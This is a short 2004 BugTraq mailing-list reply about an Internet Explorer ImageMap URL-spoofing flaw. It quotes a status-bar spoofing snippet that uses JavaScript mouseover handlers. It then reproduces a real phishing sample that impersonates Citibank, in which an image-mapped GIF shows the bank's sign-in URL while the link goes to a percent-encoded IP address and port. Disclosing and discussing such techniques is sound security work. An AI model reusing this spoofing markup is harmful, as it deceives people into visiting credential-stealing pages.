BugTraq
Re: Microsoft Internet Explorer ImageMap URL Spoof Vulnerability May 27 2004 07:32PM
http-equiv@excite.com (1 malware com) (1 replies)
RE: Microsoft Internet Explorer ImageMap URL Spoof Vulnerability Jun 03 2004 01:54PM
James C Slora Jr (Jim Slora phra com)
> <a onmouseover="window.status='http://www.the-url-you-
> see.com;return true"
> title="The Link"
> onmouseout="window.status='Whatever-you-like-here';return true"
> href='http://www.some-other-url.com'>The link</a>
>
>
> -->
>
> the point of the exercise is that default settings for the
> most popular MUA's out there today have scripting disabled.

True. This works better. From the wild.

A
HREF="https://web.da-us.citibank.com/signin/scripts/Iogin2/user_setup.js
p"><
map name="FPMap0"><area coords="0, 0, 610, 275" shape="rect"
href="http://%32%31%37%2E%33%37%2E%32%31%31%2E%32%35%30:%34%39%30%33/%63
%69%
74/%69%6E%64%65%78%2E%68%74%6D"></map><img
SRC="cid:part1.07010704.01060800@user-billing47 (at) citibank (dot) com [email concealed]" border="0"
usemap="#FPMap0"</A>

The cid reference points to an embedded GIF that looks like hyperlinked text
https://web.da-us.citibank.com/signin/scripts/Iogin2/user_setup.jsp

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus